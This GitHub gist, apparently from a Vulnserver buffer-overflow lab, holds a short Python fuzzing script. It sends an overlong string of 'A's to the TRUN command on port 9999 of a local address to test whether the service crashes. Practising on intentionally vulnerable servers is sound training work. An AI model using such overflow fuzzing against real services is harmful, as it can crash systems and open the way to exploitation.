Skip to content

Instantly share code, notes, and snippets.

@whichbuffer
Created January 3, 2021 11:43
Show Gist options
  • Save whichbuffer/b6e2c51bf29578eb6875c2dfd49b4d64 to your computer and use it in GitHub Desktop.
Save whichbuffer/b6e2c51bf29578eb6875c2dfd49b4d64 to your computer and use it in GitHub Desktop.
vs-fuzz1
#!/usr/bin/python
import socket
server = '192.168.1.33'
sport = 9999
length = int(raw_input('Length of attack: '))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment